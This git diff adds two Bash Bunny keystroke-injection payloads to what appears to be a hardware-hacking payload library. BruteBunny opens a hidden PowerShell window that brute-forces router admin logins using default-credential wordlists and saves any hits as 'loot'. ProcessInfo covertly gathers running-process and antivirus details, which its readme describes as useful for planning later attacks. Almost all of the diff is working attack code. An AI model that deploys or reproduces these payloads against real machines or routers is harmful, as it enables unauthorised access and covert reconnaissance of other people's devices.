diff --git a/payloads/library/BruteBunny/brutebunny.ps1 b/payloads/library/BruteBunny/brutebunny.ps1 new file mode 100644 index 00000000..5b6c9627 --- /dev/null +++ b/payloads/library/BruteBunny/brutebunny.ps1 @@ -0,0 +1,72 @@ +<# + +.SYNOPSIS +BruteBunny 1.0 + +.AUTHOR +Decoy. Thanks to nishang for original script inspiration. + +.DESCRIPTION +This script is designed to Brute Force common usernames/passwords for the router (http basic authentication) + +#> + +$Protocol = "http" +$Hostname = "192.168.1.1" +$Port = 80 +$Bunny = (gwmi win32_volume -f 'label="BashBunny"' | Select-Object -ExpandProperty DriveLetter) +$UsernameList = $Bunny+"\BruteBunny\wordlists\usernames.txt" +$PasswordList = $Bunny+"\BruteBunny\wordlists\passwords.txt" +$StopOnSuccess = $true + +$url = $Protocol + "://" + $Hostname + ":" + $Port + "/" + + +# Read in lists for usernames and passwords +$Usernames = Get-Content $UsernameList +$Passwords = Get-Content $PasswordList + +# Does a depth first loop over usernames first, trying every password for each username sequentially in the list +:UNLoop foreach ($Username in $Usernames) +{ + # Loops through passwords in the list sequentially + foreach ($Password in $Passwords) + { + # Starts a new web client + $WebClient = New-Object Net.WebClient + # Sets basic authentication credentials for web client + $SecurePassword = ConvertTo-SecureString -AsPlainText -String $Password -Force + $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Username, $SecurePassword + $WebClient.Credentials = $Credential + Try + { + # Prints the target + $url | Out-File -Append $Bunny\BruteBunny\loot\log.txt -width 250 + # Prints the credentials being tested + $message = "Checking $Username : $Password" | Out-File -Append $Bunny\BruteBunny\loot\log.txt -width 250 + $message | Out-File -Append $Bunny\BruteBunny\loot\log.txt -width 250 + $content = $webClient.DownloadString($url) | Out-File -Append $Bunny\BruteBunny\loot\log.txt -width 250 + # Continues on to print succesful credentials + $success = $true + #$success + if ($success -eq $true) + { + # Prints succesful auths to highlight legit creds + $message = "[*] Match found! $Username : $Password" | Out-File -Append $Bunny\BruteBunny\loot\log.txt -width 250 + $message | Out-File -Append $Bunny\BruteBunny\loot\log.txt -width 250 + $content | Out-File -Append $Bunny\BruteBunny\loot\log.txt -width 250 + if ($StopOnSuccess) + { + break UNLoop + } + } + } + Catch + { + # Print any error we receive + $success = $false + $message = $error[0].ToString() | Out-File -Append $Bunny\BruteBunny\loot\log.txt -width 250 + $message | Out-File -Append $Bunny\BruteBunny\loot\log.txt -width 250 + } + } +} \ No newline at end of file diff --git a/payloads/library/BruteBunny/passwords.txt b/payloads/library/BruteBunny/passwords.txt new file mode 100644 index 00000000..6b3dbe1f --- /dev/null +++ b/payloads/library/BruteBunny/passwords.txt @@ -0,0 +1,9 @@ +admin +Admin +adm +Adm +administrator +Administrator +administrador +Administrador +root diff --git a/payloads/library/BruteBunny/payload.txt b/payloads/library/BruteBunny/payload.txt new file mode 100644 index 00000000..12758b74 --- /dev/null +++ b/payloads/library/BruteBunny/payload.txt @@ -0,0 +1,44 @@ +#!/bin/bash +# +# Title: BruteBunny +# Author: Decoy +# Version: 1.0 +# Category: Password Recovery +# Target: Windows XP SP3+ +# +# Description: Will attempt to bruteforce common router username/password combinations in an attempt to gain +# access to the admin panel. + +# init +LED R B + +# need SWITCH_POSITION, so give it to me. please. thank you. +source bunny_helpers.sh + +# set up the things to make it do stuff +mkdir -p /root/udisk/BruteBunny/loot +mkdir -p /root/udisk/BruteBunny/wordlists + +# move wordlists to BruteBunny folder +cp /root/udisk/payloads/$SWITCH_POSITION/usernames.txt /root/udisk/BruteBunny/wordlists/usernames.txt +cp /root/udisk/payloads/$SWITCH_POSITION/passwords.txt /root/udisk/BruteBunny/wordlists/passwords.txt +sync;sleep 1;sync + +# set attack mode +ATTACKMODE HID STORAGE + +# wait for storage +LED R G B 100 +QUACK DELAY 6000 +QUACK GUI r +QUACK DELAY 100 +# unleash the brute bunny +LED B 100 +QUACK STRING powershell -NoP -NonI -W Hidden ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\brutebunny.ps1')" +QUACK ENTER +sleep 10 + +# sync the stuff +sync;sleep 1;sync + +LED G \ No newline at end of file diff --git a/payloads/library/BruteBunny/readme.md b/payloads/library/BruteBunny/readme.md new file mode 100644 index 00000000..4a331d2a --- /dev/null +++ b/payloads/library/BruteBunny/readme.md @@ -0,0 +1,35 @@ +# BruteBunny + +* Author: Decoy +* Version: Version 1.0 +* Target: Windows + +## Description + +I would say that some (most) people don't realize that devices they connect to their networks usually have +weak default usernames and passwords. The Brute Bunny will exploit that in hopes of finding some poor sap +who didn't change their admin password for their device, and educate them accordingly. + +## Configuration + +Modify the variables in brutebunny.ps1 to change the default IP/Port for this attack. Feel free to use your +own wordlists as well; however you will need to adjust some of the sleep times accordingly depending on the +length of time your list will take to go through. + +## Notes + +This was designed and tested on a Netgear Nighthawk Router, and an Arris Xfinity Modem/Router combo; however +I don't see why it couldn't be used for any internet connected device that uses basic http authentication. +And please... Don't feed the bunnies. + +## STATUS + +| LED | Status | +| ------------------ | -------------------------------------------- | +| Purple | Reticulating splines | +| White (blinking) | Waiting for Storage | +| Blue (blinking) | Brute Bunny being a Brute Bunny | +| Green | Hopefully no bunny babies | + +## Discussion +Not yet diff --git a/payloads/library/BruteBunny/usernames.txt b/payloads/library/BruteBunny/usernames.txt new file mode 100644 index 00000000..6b3dbe1f --- /dev/null +++ b/payloads/library/BruteBunny/usernames.txt @@ -0,0 +1,9 @@ +admin +Admin +adm +Adm +administrator +Administrator +administrador +Administrador +root diff --git a/payloads/library/ProcessInfo/payload.txt b/payloads/library/ProcessInfo/payload.txt new file mode 100644 index 00000000..670b96eb --- /dev/null +++ b/payloads/library/ProcessInfo/payload.txt @@ -0,0 +1,41 @@ +#!/bin/bash +# +# Title: Process Info +# Author: Decoy +# Version: 1.0 +# Category: Recon +# Target: Windows XP SP3+ (Powershell) +# Attackmodes: HID, Storage +# +# +# Amber Blink Fast.....Initialization +# Amber................Begin +# White Blinking... ...Moving loot to mass storage +# Blue Blinking........Syncing File System +# Green................Finished + +# Initialization +LED R G 100 + +# Create loot directory +mkdir -p /root/udisk/loot/ProcessInfo + +# Runs minimized powershell gathering process information for potential future attack vectors +LED R G +ATTACKMODE HID STORAGE +QUACK DELAY 6000 +QUACK GUI r +QUACK STRING "powershell -NoP -NonI -W Hidden" +QUACK ENTER +QUCK DELAY 1000 +QUACK STRING "\$Bunny = (gwmi win32_volume -f 'label=\"BashBunny\"' | Select-Object -ExpandProperty DriveLetter); Get-Process | Format-List -Property * | Out-File \$Bunny\\loot\\ProcessInfo\\ProcessInfo.txt; exit" +QUACK ENTER +LED R G B 100 +sleep 3 + +# Sync File System +LED B 100 +sync; sleep 1; sync + +# Trap is clean +LED G diff --git a/payloads/library/ProcessInfo/readme.md b/payloads/library/ProcessInfo/readme.md new file mode 100644 index 00000000..a6f78558 --- /dev/null +++ b/payloads/library/ProcessInfo/readme.md @@ -0,0 +1,30 @@ +# Process Info for Bash Bunny + +* Author: Decoy +* Version: Version 1.0 +* Target: Windows + +## Description + +This is just a quick and dirty payload to return all running processes under the current user. +This will return the path/filename/version, and quite a bit of other info as well. This information +can be useful for planning future attacks, such as taking advantage of buffer overflows, and other +various vulnerabilities to gain a more permanent foothold into a target system. It can also be +useful in identifying what AV is in use on a target system. + +## Configuration + +None needed. + +## STATUS + +| LED | Status | +| ------------------ | -------------------------------------------- | +| Amber (blinking) | Setting up | +| Amber | Attack running | +| White (blinking) | Moving loot to mass storage | +| Blue (blinking) | Syncing File System | +| Green | Trap is clean | + +## Discussion +https://forums.hak5.org/index.php?/topic/40605-payload-process-info/